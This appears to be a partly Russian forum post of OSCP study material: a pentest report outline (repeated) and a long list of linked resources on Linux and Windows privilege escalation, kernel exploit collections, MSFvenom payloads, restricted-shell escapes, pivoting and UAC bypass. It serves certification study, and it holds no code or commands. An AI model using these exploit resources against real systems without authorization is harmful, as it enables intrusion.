│ ├── Penetration
│ ├── Maintaining Access
│ └── House Cleaning
└── Findings
├── Box1 - 10.10.10.10
├── Box2 - 10.10.10.11
├── Box3 - 10.10.10.12
├── Box4 - 10.10.10.13
└── Box5 - 10.10.10.14
├── Offensive Security Lab Penetration Test Report
│ ├── Introduction
│ ├── Objective
│ └── Scope
├── High-Level Summary
│ └── Recommendations
├── Methodologies
│ ├── Information Gathering
│ ├── Service Enumeration
│ ├── Penetration
│ ├── Maintaining Access
│ └── House Cleaning
└── Findings
├── Box1 - 10.10.10.10
├── Box2 - 10.10.10.11
├── Box3 - 10.10.10.12
├── Box4 - 10.10.10.13
└── Box5 - 10.10.10.14
LINKS или крайне полезные ссылки:
Privilege Escalation:
- g0tmi1k Linux Priv Esc
- fuzzysecurity Windows Priv Esc
- sploitspren Windows Priv Esc
- togie6 Windows Priv Esc Guide
Scripts:
Дальше пока сумбур и адское количество полезной информации, которую я не успел перебрать и представить в удобоваримом виде и по мере моявления свободного времени обязательно приведу в соответствующий вид и буду дополнять:
b1n4ry4rms/RedTeam-Pentest-Cheatsheets
Red Teaming :: Penetration Testing :: Offensive Security :: OSCP :: OSCE :: CheatSheets :: Tools :: etc... - b1n4ry4rms/RedTeam-Pentest-Cheatsheets
Basic Linux Privilege Escalation - g0tmi1k
Before starting, I would like to point out - I'm no expert. As far as I know, there isn't a
GitHub - h4ppy7ree/linux-exploit-suggester: Linux privilege escalation auditing tool
Linux privilege escalation auditing tool. Contribute to h4ppy7ree/linux-exploit-suggester development by creating an account on GitHub.
GitHub - h4ppy7ree/kernel-exploits
Contribute to h4ppy7ree/kernel-exploits development by creating an account on GitHub.
FuzzySecurity | Windows Privilege Escalation Fundamentals
GitHub - pentestmonkey/windows-privesc-check: Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems
Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems - pentestmonkey/windows-privesc-check
GitHub - abatchy17/WindowsExploits: Windows exploits, mostly precompiled. Not being updated. Check https://github.com/SecWiki/windows-kernel-exploits instead.
Windows exploits, mostly precompiled. Not being updated. Check https://github.com/SecWiki/windows-kernel-exploits instead. - abatchy17/WindowsExploits
Mixed
GitHub - 1N3/PrivEsc: A collection of Windows, Linux and MySQL privilege escalation scripts and exploits.
A collection of Windows, Linux and MySQL privilege escalation scripts and exploits. - 1N3/PrivEsc
GitHub - slyth11907/Cheatsheets: Helped during my OSCP lab days.
Helped during my OSCP lab days. Contribute to slyth11907/Cheatsheets development by creating an account on GitHub.
Introduction · OSCP - Useful Resources
Lord of the Root Walkthrough CTF
Lord of the Root walkthrough - step by step walkthrough for Lord of the ROot : 2 a VulnHub Boot2Root CTF challenge.
MsfVenom
Metasploit Unleashed | MSFvenom
Creating Metasploit Payloads
Shell Escape Techniques
Spawning a TTY Shell
SANS Penetration Testing | Escaping Restricted Linux Shells | SANS Institute
SANS Penetration Testing blog pertaining to Escaping Restricted Linux Shells
pen-testing.sans.org
Breaking Out of "Jail" : Restricted Shell
No, I am not writing a sequel for the show " Prison Break ", though I would love to see it come back to the screens :). If you have neve...
Escape From SHELLcatraz - Breaking Out of Restricted Unix Shells
Presentation on breaking out of restricted Unix shells (such as rbash or rksh). SecTalks Melbourne 0x01 2016 References: https://pen-testing.sa…
Pivoting
FuzzySecurity | Tutorials: Scenario Based Infrastructure Hacktics
SSH & Meterpreter Pivoting Techniques
SSH / Meterpreter Pivoting techniques for use during penetration testing, allowing an attacker to route traffic through a compromised host in order to gain access to another subnet.
Metasploit Unleashed | Portfwd
Linux Privilege Escalation
No one expect command execution !
Unix is a beautiful world where your shell gives you the power of launching any command you like. But sometimes, command can be used to ...
Basic Linux Privilege Escalation - g0tmi1k
Before starting, I would like to point out - I'm no expert. As far as I know, there isn't a
GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool
Linux privilege escalation auditing tool. Contribute to The-Z-Labs/linux-exploit-suggester development by creating an account on GitHub.
GitHub - SecWiki/linux-kernel-exploits: linux-kernel-exploits Linux平台提权漏洞集合
linux-kernel-exploits Linux平台提权漏洞集合. Contribute to SecWiki/linux-kernel-exploits development by creating an account on GitHub.
Linux Commands Cheat Sheet
Linux Command Cheat Sheet and examples for penetration testing.
GitHub - lucyoa/kernel-exploits
Contribute to lucyoa/kernel-exploits development by creating an account on GitHub.
Windows Privilege Escalation
User Account Control – What Penetration Testers Should Know - Cobalt Strike Research and Development
UAC is User Account Control. Introduced in Windows Vista, UAC is a collection of technologies that make it convenient possible to use Windows without administrator privileges and elevate your rights when needed. UAC has a lot of moving parts and encompasses a lot of things. This post focuses on...
GitHub - foxglovesec/RottenPotato: RottenPotato local privilege escalation from service account to SYSTEM
RottenPotato local privilege escalation from service account to SYSTEM - foxglovesec/RottenPotato
Windows-Exploit-Suggester/windows-exploit-suggester.py at master · strozfriedberg/Windows-Exploit-Suggester
This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public expl...
GitHub - pentestmonkey/windows-privesc-check: Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems
Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems - pentestmonkey/windows-privesc-check
GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework
PowerSploit - A PowerShell Post-Exploitation Framework - PowerShellMafia/PowerSploit
GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合
windows-kernel-exploits Windows平台提权漏洞集合. Contribute to SecWiki/windows-kernel-exploits development by creating an account on GitHub.
TOP–10 ways to boost your privileges in Windows systems
Tech magazine for cybersecurity specialists
Well, That Escalated Quickly…
Common Windows Privilege Escalation Vectors Imagine this scenario: You've gotten a Meterpreter session on a machine (HIGH FIVE!), and you opt for running getsystem in an attempt to escalate your privileges... but what that proves unsuccessful? Should you throw in the towel? Only if you're a...
Unquoted Service Paths | Common Exploits - Penetration Testing Information
I have been playing with unquoted service paths/trusted paths the last few days and thought would write something up. Credit to Gavin Jones who introduced me to this issue, which to be honest I hadn’t heard of before and I normally only checked cacls and permissions of services. What is the is…
FuzzySecurity | Windows Privilege Escalation Fundamentals
Bypassing UAC with PowerShell
Home of Nikhil SamratAshok Mittal. Posts about Red Teaming, Offensive PowerShell, Active Directory and Pen Testing.
Shellterlabs : Writing exploits - Shellter Labs - A place to learn.
Shellter Hacking Express challenges - Shellter Labs - A place to learn.
Windows BOF PCMan FTP - Simple Buffer Overflows
Hack the box - Hack The Box :: Penetration Testing Labs
Nishang : PowerShell scripts - samratashok/nishang
Windows Privilege Escalation Fundamentals - FuzzySecurity | Windows Privilege Escalation Fundamentals
Basic Linux Privilege Escalation - Basic Linux Privilege Escalation
Pentest Tips and Tricks - Pentest Tips and Tricks
Nmap cheat sheet - Nmap Cheat Sheet
SANS Institute : Port Knocking basics - https://www.sans.org/reading-room/whitepapers/sysadmin/port-knocking-basics-1634
Teck_K2 OSCP review - OSCP · Teck_k2
m4lv0id OSCP review - And I did OSCP!
The definitive hacking playlist -
OSCP Exam Cram Log - Aug/Sept/Oct 2018 - Will's Security Blog
I’ll be using this as a means of tracking my personal study progress toward the OSCP exam keeping a daily log. Scheduled exam date: 11/09/2018 PART ONE: Review of OSCP Videos and PWK Readings With a total of 149 videos and 375 pages worth of readings to review I’ll aim to get through around 15...
blog.vonhewitt.com
Последнее редактирование: